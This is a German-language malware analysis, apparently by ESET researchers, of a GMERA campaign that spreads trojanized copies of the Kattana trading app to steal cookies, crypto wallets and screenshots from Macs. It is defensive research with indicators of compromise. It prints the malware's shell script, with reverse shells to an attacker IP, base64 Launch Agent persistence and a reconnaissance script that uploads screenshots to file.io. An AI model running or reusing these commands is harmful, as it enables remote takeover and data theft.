Wir haben kürzlich Websites entdeckt, die mit Malware verseuchte Krypto-Trading-Software für MacOS vertreibt. Diese Malware wird dazu verwendet, um Browser-Cookies und Krypto-Wallets zu stehlen sowie um Screenshots vom Rechner des Opfers zu machen. Bei der Analyse der Malware-Samples stellten wir schnell fest, dass es sich um eine neue Kampagne, der im September 2019 von Trend Micro entdeckten GMERA-Malware, handelt.

Wie bei den vorherigen Kampagnen meldet sich die Malware über HTTP an einem C&C-Server an startet Remote-Terminal-Sessions mit einem weiteren C&C-Server unter einer fest codierten IP-Adresse. Diesmal gingen die Malware-Autoren jedoch noch weiter. Sie versahen die ursprünglich legitime Trading-Anwendung Kattana mit ihrer Malware, benannten sie um und vertrieben sie auf einer Kopie der ursprünglichen Webseite. In verschiedenen Kampagnen konnten wir die folgenden fiktiven Brandings beobachten: Cointrazer, Cupatrade, Licatrade und Trezarus.

Neben der Analyse des Malware-Codes wurden von ESET-Forschern auch Honeypots eingerichtet, um die Motive der Kriminellen aufzudecken.

Distribution der Malware

Wir konnten noch nicht genau ermitteln, wo diese trojanisierten Anwendungen beworben werden. Im März 2020 veröffentlichte Kattana jedoch eine Warnung, wonach Opfer individuell angesprochen wurden, um sie zum Herunterladen der trojanisierten Programme zu verleiten. Wir konnten allerdings nicht bestätigen, dass diese Vorfälle mit der hier beschriebenen Kampagne in Zusammenhang stehen. Es ist allerdings sehr gut möglich.

Abbildung 1. Kattana warnt auf Twitter vor trojanisierten Kopien ihrer Software.

Die nachgeahmten Webseiten wirken so echt, dass man den Download der gefälschten Anwendung leicht für legitim hält. Für Personen, die Kattana nicht kennen, sehen die Webseiten völlig echt aus.

Über den Download-Button auf der gefälschten Webseite kann ein ZIP-Archiv heruntergeladen werden, dass die trojanisierte Software enthält.

 

 

Analyse

Die Malware-Analyse ist in diesem Fall ziemlich einfach. Wir werden das Sample der bösartigen Licatrade-Software hier als Beispiel verwenden. Andere Samples weisen nur geringfügige Unterschiede auf, die Ideen und Funktionen sind jedoch im Wesentlichen gleich. Ähnliche Analysen früherer GMERA-Kampagnen finden Sie im Blogpost von Trend Micro und im Mac-Malware-Bericht von Objective-See von 2019.

Abbildung 4. Der Inhalt des bösartigen Licatrade-Anwendungspakets

Die Änderungszeitstempel der Dateien im ZIP-Archiv, das Signierungsdatum der Anwendung und der HTTP-Header "Last Modified" haben, zum Zeitpunkt unseres Downloads, alle den 15. April 2020 angezeigt. Das deutet darauf hin, dass diese Kampagne zu diesem Zeitpunkt gestartet wurde.

Ein Shell-Skript namens run.sh ist in den Ressourcen des Anwendungspakets enthalten. Diese in Swift geschriebene ausführbare Datei startet run.sh. Aus irgendeinem Grund hat der Malware-Autor die Funktion zur Kommunikation mit dem C&C-Server per HTTP und die Funktion zur Verbindung mit einem Remote Host über TCP doppelt integriert, sowohl in die ausführbare Hauptdatei als auch in das Shell-Skript. Eine zusätzliche Funktion, die nur im Shell-Skript enthalten ist, stellt die Persistenz der Malware durch die Installation eines Launch Agent her.

Hier ist die vollständige Shell-Skriptquelle (Auslassungspunkte in langer Zeichenfolge und defangiert):

#! /bin/bash

function remove_spec_char(){
	echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}

whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

Interessanter Weise liegt Persistenz im Licatrade-Beispiel nicht vor: Der Inhalt der resultierenden Launch Agent-Datei (.com.apple.system.plist) liegt nicht, wie von launchd erwartet, im Property-List-Format vor, sondern ist die auszuführende Befehlszeile.

Der dekodierte Inhalt (Auslassungspunkte in langen Zeichenfolgen) der Variablen $plist_text lautet:

echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'

Bei direkter Ausführung würde dieser Code eine Reverse-Shell vom Computer des Opfers zu einem vom Angreifer kontrollierten Server öffnen, was hier jedoch fehlschlägt. Zum Glück für die Angreifer, startet die letzte Zeile des Shell-Skripts auch eine Reverse-Shell zu ihrem Server.

Das Cointrazer-Sample, das in Kampagnen vor Licatrade verwendet wurde, hat dieses Problem nicht: Der Launch Agent wird installiert und startet erfolgreich, wenn sich der Benutzer anmeldet.

Die verschiedenen Reverse Shells, die von diesen Malware-Betreibern verwendet werden, verbinden sich, je nachdem wie sie gestartet werden, mit verschiedenen Remote-Ports. Alle Verbindungen sind unverschlüsselt. Hier ist eine Portliste, basierend auf dem Licatrade-Sample.

TCP Port Where How
25733 Licatrade executable zsh in screen using ztcp
run.sh bash in screen using /dev/tcp
Launch Agent (Not working) bash in screen using /dev/tcp
25734 Licatrade executable zsh using ztcp
25735 Licatrade executable bash using /dev/tcp
25736 Licatrade executable bash in screen using /dev/tcp
25737 Licatrade executable bash in screen using /dev/tcp
25738 Licatrade executable zsh in screen using ztcp

Hier einige Beispiele für die verwendeten Befehlszeilen:

  • Bash in screen using /dev/tcp:
    screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'
  • zsh using ztcp:
    zsh -c 'zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Die umbenannte Kattana-Anwendung gehört ebenfalls zum Anwendungspaket. Wir wollten sehen, ob außer der Namens- und Icon-Änderung auch anderer Code in der Anwendung geändert wurde. Da Kattana nach Anmeldeinformationen für Handelsplattformen fragt, um den Handel durchzuführen, haben wir überprüft, ob diese Eingabemasken manipuliert wurden und ob die Anmeldeinformationen auf irgendeine Weise herausgefiltert werden.

Kattana wurde mit Electron erstellt und alle Electron-Apps verfügen über eine app.asar-Datei, dies ist ein Archiv, das den JavaScript-Code der Anwendung enthält. Wir haben alle Unterscheide zwischen der echten Kattana-Anwendung und der böswilligen Licatrade-Anwendung überprüft und dabei festgestellt, dass nur Zeichenfolgen und Bilder geändert wurden.

Abbildung 5. Unterschiede zwischen Kattana und Licatrade

Licatrade und seine Ressourcen wurden alle mit demselben Zertifikat signiert, wobei das Common-Name-Feld den Namen Andrey Novoselov und die Entwickler-ID M8WVDT659T enthielt. Das Zertifikat wurde am 6. April 2020 von Apple ausgestellt. Es wurde noch am gleichen Tag widerrufen, an dem wir Apple über diese Malware informiert haben.

Abbildung 6. Das zur Signierung von Licatrade verwendete Zertifikat

Abbildung 7. Das Licatrade-Zertifikat wurde am 28. Mai 2020 widerrufen

Jede der von uns analysierten Kampagnen verwendete ein anderes Zertifikat. Alle wurden bereits zu Beginn unserer Analysen von Apple widerrufen. Weitere Informationen dazu finden Sie im Abschnitt IoCs. Es ist interessant, dass im Fall von Cointrazer zwischen dem Zeitpunkt der Zertifikatsausstellung durch Apple und der Signierung der trojanisierten Anwendung durch die Kriminellen nur 15 Minuten lagen. Dies und die Tatsache, dass wir nichts anderes gefunden haben, das mit demselben Schlüssel signiert wurde, deutet darauf hin, dass sie das Zertifikat nur für diesen Zweck erstellt haben.

Infrastruktur

Die bösartige Licatrade-Anwendung war auf der Website licatrade.com verfügbar. Die C&C-HTTP-Server-Domain lautete stepbystepby.com. Beide Domains wurden unter der E-Mail-Adresse levistor777@gmail.com registriert. Sucht man nach anderen Domains, die mit dieser E-Mail-Adresse registriert wurden, dann sieht man Anzeichen für mehrere vorherige Kampagnen. Hier ist eine Liste von Domains, die wir in Samples gefunden oder über die genannte E-Mail-Adresse gefunden haben.

Domain name Registration date Comment
repbaerray.pw 2019-02-25 C&C server for HTTP report of Stockfolio app
macstockfolio.com 2019-03-03 Website distributing the malicious Stockfolio app
latinumtrade.com 2019-07-25 Website distributing the malicious Latinum app
trezarus.com 2019-06-03 Website distributing the malicious Trezarus app
trezarus.net 2019-08-07 #rowspan#
cointrazer.com 2019-08-18 Website distributing the malicious Cointrazer app
apperdenta.com 2019-08-18 Usage unknown
narudina.com 2019-09-23 Usage unknown
nagsrsdfsudinasa.com 2019-10-09 C&C server for HTTP report of Cointrazer app
cupatrade.com 2020-03-28 Website distributing the malicious Cupatrade app
stepbystepby.com 2020-04-07 C&C server for HTTP report of Licatrade app
licatrade.com 2020-04-13 Website distributing the malicious Licatrade app
creditfinelor.com 2020-05-29 Empty page, usage unknown
maccatreck.com 2020-05-29 Some authentication form

Sowohl die Websites als auch die Http-C&C-Server, die den ersten Bericht der Malware empfangen, werden hinter Cloudflare-Service gehostet.

Honeypot-Interaktionen

Um mehr über die Absichten dieser Gruppe zu erfahren, haben wir Honeypots eingerichtet, auf denen wir alle Interaktionen zwischen den Reverse-Shell-Backdoors von GMERA und den Betreibern dieser Malware überwacht haben.

Wir konnten keine Command&Control-Befehle über den Http-C&C-Server beobachten. Alle Vorgänge liefen über die Reverse Shells. Bei der ersten Verbindung sendete der C&C-Server ein kleines Skript, um den Benutzernamen, die macOS-Version und den Speicherort (basierend auf der externen IP-Adresse) des kompromittierten Geräts zu erfassen.

#! /bin/bash
function check() {
        if [ ! -f /private/var/tmp/.i ]; then
        write
    else
        if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
                   write
                fi
        fi
}
function write() {
        getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
    echo `whoami` > /private/var/tmp/.i
    echo `sw_vers -productVersion` >> /private/var/tmp/.i
    echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i

Wodurch ein solcher Bericht an die Betreiber geschickt wurde:

jeremy
10.13.4
Bratislava
SK

Die TCP-Verbindung bleibt offen und wartet auf weitere Befehle. In unserem Fall haben die Betreiber die Maschine nach einer Weile selbst inspiziert. Auf mehreren unserer Honeypots unterschieden sich die dafür genutzten Befehle. Ein Teil bestand nur aus dem Auflisten der Dateien im gesamten Dateisystem. Manchmal kopierten sie ein Base64-codiertes Skript, um Informationen zu sammeln, ob das System ein Honeypot oder tatsächlich interessant ist. Das Skript wird dekodiert und dann an bash weitergeleitet.

Abbildung 8. Die vom Betreiber gesendeten Pakete mit dem Base64-codierten sekundären Aufklärungsskript.

Hier ist das dekodierte Skript:

echo ""
echo "------ Whoami ------"
whoami
echo "------ IP info ------"
curl -s ipinfo.io
echo "------ Mac Model ------"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'
echo "------ MacOS Version ------"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15.*" && echo -e "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"
sleep 1
echo "------ MacOS Installed ------"
date -r /var/db/.AppleSetupDone
echo "------ Disks ------"
df -m
echo "------ Video Output ------"
system_profiler SPDisplaysDataType
echo "------ Wifi Around ------"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "------ Virtual Mashine Detector ------"
ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -E "irtual|racle|ware|arallels" || echo "Probably not a Virtual Mashine..."
echo "--------------------------------"
echo "------ Developer Detector ------"
echo "--------------------------------"
echo "||| Applications |||"
ls -laht /Applications | grep -E "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode" && echo "-|Be Carefull|-"
echo "||| Short Bash History |||"
cat ~/.bash_history | head -n 20
echo "------ Desktop Screen ------"
echo "create screenshot..."
sw_vers -productVersion | grep -E "10.15.*" & screencapture -t jpg -x /tmp/screen.jpg &> /dev/null
sips -z 500 800 /tmp/screen.jpg &> /dev/null
sips -s formatOptions 50 /tmp/screen.jpg &> /dev/null
echo "uploading..."
curl -s -F "file=@/tmp/screen.jpg" https://file.io

Dieses Skript ähnelt sehr der Plugin-Datei in einem der im letzten Jahr analysierten Stockfolio-Samples. In den neueren Kampagnen haben sich die Cyberkriminellen jedoch dafür entschieden, das Aufklärungsskript nur an interessante Opfer über das Netzwerk zu senden. Es wurde auch aktualisiert, um einige zusätzliche Informationen aufzunehmen.

Abbildung 9. Rekonstruierter Bericht auf dem Terminal eines Betreibers

Wir gehen alle Abschnitte des Skripts hier durch:

  • Abruf des vollständigen Berichts zur externen IP über ipinfo.io
  • Das Mac-Modell wird anhand der letzten 4 Ziffern der Mac-Seriennummer und einem von Apple bereitgestellten HTTP-Dienst überprüft, der es in einen Anzeigenamen wie „MacBook Pro (Retina, 15 Zoll, Ende 2013)“ übersetzt. Virtuelle Maschinen haben wahrscheinlich ungültige Seriennummern und zeigen hier möglicherweise kein Modell an.
  • Die installierte Version von macOS wird ausgegeben. Wenn auf dem Computer macOS Catalina (10.15) ausgeführt wird, wird ein ziemlich große rote Warnung angezeigt (unter Verwendung der ANSI-Escape-Sequenz). Wir glauben zu wissen warum. Später mehr dazu.
  • Überprüft anhand der Änderungszeit der Datei /var/db/.AppleSetupDone, wann macOS installiert wurde.
  • Gibt die Festplattennutzung und Details zu den angeschlossenen Monitoren aus.
  • Es listet verfügbare Wi-Fi-Netzwerke auf. Bei Honeypots ist Wi-Fi wahrscheinlich deaktiviert.
  • Es erkennt anhand der Herstellerzeichenfolgen der verbundenen Geräte, ob es sich bei dem Computer um eine virtuelle VMware-, Parallels- oder VirtualBox-Maschine handelt.
  • Es prüft, ob gängige Texteditoren oder IDE-Anwendungen installiert sind. Es warnt die Bediener vor „Vorsicht“ (sic), da dieses Opfer möglicherweise besser mit Computern vertraut ist als gewöhnlich.
  • Es werden die ersten (das heißt die ältesten) 20 Befehle aus der Bash-Verlaufsdatei abgerufen.
  • Schließlich wird ein Screenshot erstellt, die Größe geändert und in file.io hochgeladen. Zuvor wird überprüft, ob auf dem System macOS Catalina ausgeführt wird. Ein Fehler im Skript macht diese Überprüfung jedoch unbrauchbar. Der Steueroperator "&", der Befehle parallel startet, wird anstelle des logischen UND-Operators ("&&") verwendet. Dies bedeutet, dass die Bildschirmaufnahme unabhängig von der macOS-Version erstellt wird.

Die Tatsache, dass bei macOS Catalina kein Screenshot aufgenommen werden soll und dass das Terminal des Bedieners ein deutliches Warnzeichen anzeigt, hat uns stutzig gemacht. Warum verhalten sich die Angreifer auf der aktuellen macOS-Version anders? Es stellte sich heraus, dass Catalina eine Funktion eingeführt hat, durch die das Aufzeichnen des Bildschirms oder das Aufnehmen eines Screenshots vom Benutzer für jede Anwendung genehmigt werden muss. Wir haben die Erstellung eines Screenshots über die Reverse Shell auf Catalina getestet und haben die folgende Warnung in unserer Sandbox erhalten (was ziemlich verdächtig ist, wenn man bedenkt, dass eine Trading-Software keinen Grund dazu hat).

Abbildung 10. Warnung von macOS Catalina, wenn man versucht einen Screenshot zu erstellen

Wird ein kompromittiertes System als interessant angesehen, dann beginnt die Exfiltrationsphase. Interessante Dateien werden in ein ZIP-Archiv komprimiert und über HTTP auf einen weiteren Server hochgeladen, der ebenfalls unter der Kontrolle der Angreifer steht.

Abbildung 11. Paketerfassung eines Bedieners bei der Exfiltration von Browser-Cookies über die Reverse Shell.

Es ist lustig, dass die Datei /tmp/h.zip hier nicht vorhanden war. Vielleicht haben sie einen Befehl kopiert und eingefügt, der ursprünglich für ein anderes Opfer verwendet wurde.

Aufgrund der von uns beobachteten Aktivitäten kommen wir zu dem Schluss, dass es die Betreiber dieser Malware unter anderem darauf abgesehen haben:

  • Browserinformationen (Cookies, Verlauf)
  • Krypto-Wallets
  • Screenshots

Fazit

Die zahlreichen Kampagnen dieser Gruppe zeigen, dass sie im letzten Jahr viel Aufwand betrieben haben, um Mac-Nutzer anzugreifen die Online-Trading betreiben. Wir sind uns immer noch nicht sicher, wie jemand zum Opfer wird, wenn er eine der trojanisierten Anwendungen herunterlädt. Die Hypothese, dass die Betreiber ihre Ziele direkt kontaktieren und dazu überreden die bösartige Anwendung zu installieren, erscheint aber am plausibelsten.

Interessant ist auch, dass der Malware-Betrieb in der neuesten Version von macOS eingeschränkter ist. Wir haben nicht beobachtet, dass die Betreiber versucht haben, die Einschränkungen bei Bildschirmaufnahmen zu umgehen. Darüber hinaus glauben wir, dass die einzige Möglichkeit, den Computerbildschirm auf Opfercomputern mit Catalina zu sehen, darin besteht, vorhandene Screenshots des Opfers zu verwenden. Dies ist ein gutes Praxisbeispiel dafür, wie eine schadensbegrenzende Implementierung im Betriebssystem, tatsächlich die Aktivitäten von Kriminellen einschränkt.

Indicators of Compromise (IoCs)

Samples

SHA-1 Filename ESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B Licatrade.zip multiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FA Licatrade.app/Contents/Resources/run.sh OSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CE Licatrade.app/Contents/MacOS/Licatrade OSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229 Cointrazer.zip multiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 Cointrazer.app/Contents/Resources/nytyntrun.sh OSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 Cointrazer.app/Contents/MacOS/Cointrazer OSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46 Stockfolio.zip multiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2C Stockfolio.app/Contents/MacOS/Stockfoli OSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023 Stockfolio.app/Contents/Resources/run.sh OSX/Agent.AZ

Code signing certificate

App name Fingerprint (SHA-1) Developer identity Valid from App signed on Revoked on
Stockfolio E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF Levis Toretto (9T4J9V8NV5) 2018-11-25 2019-04-18 2019-07-26
Cointrazer 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 Andrei Sobolev (A265HSB92F) 2019-10-17 2019-10-17 2020-04-16
Licatrade BDBD92BFF8E349452B07E5F1D2883678658404A3 Andrey Novoselov (M8WVDT659T) 2020-04-06 2020-04-15 2020-05-28

Network

Domain names

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

IP Addresses

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Host-based indicators

File paths

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent labels

• com.apple.apps.upd
• com.apples.apps.upd

MITRE ATT&CK techniques

Tactic ID Name Description
Execution T1204 User Execution Victim needs to run the malicious application to be compromised.
T1059 Command-Line Interface GMERA provides reverse bash and zsh shells to its operators.
Persistence T1159 Launch Agent GMERA installs a Launch Agent to maintain persistence.
Defense Evasion T1116 Code Signing All samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential Access T1139 Bash History A GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539 Steal Web Session Cookie GMERA’s operators steal browser cookies via a reverse shell.
Discovery T1083 File and Directory Discovery GMERA’s operators list files on the target system via a reverse shell and ls .
T1497 Virtualization/Sandbox Evasion A GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040 Network Sniffing A GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082 System Information Discovery A GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518 Software Discovery A GMERA reconnaissance script checks whether developer tools are installed.
Collection T1005 Data from Local System GMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113 Screen Capture GMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and Control T1043 Commonly Used Port Initial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065 Uncommonly Used Port GMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
Exfiltration T1048 Exfiltration Over Alternative Protocol GMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.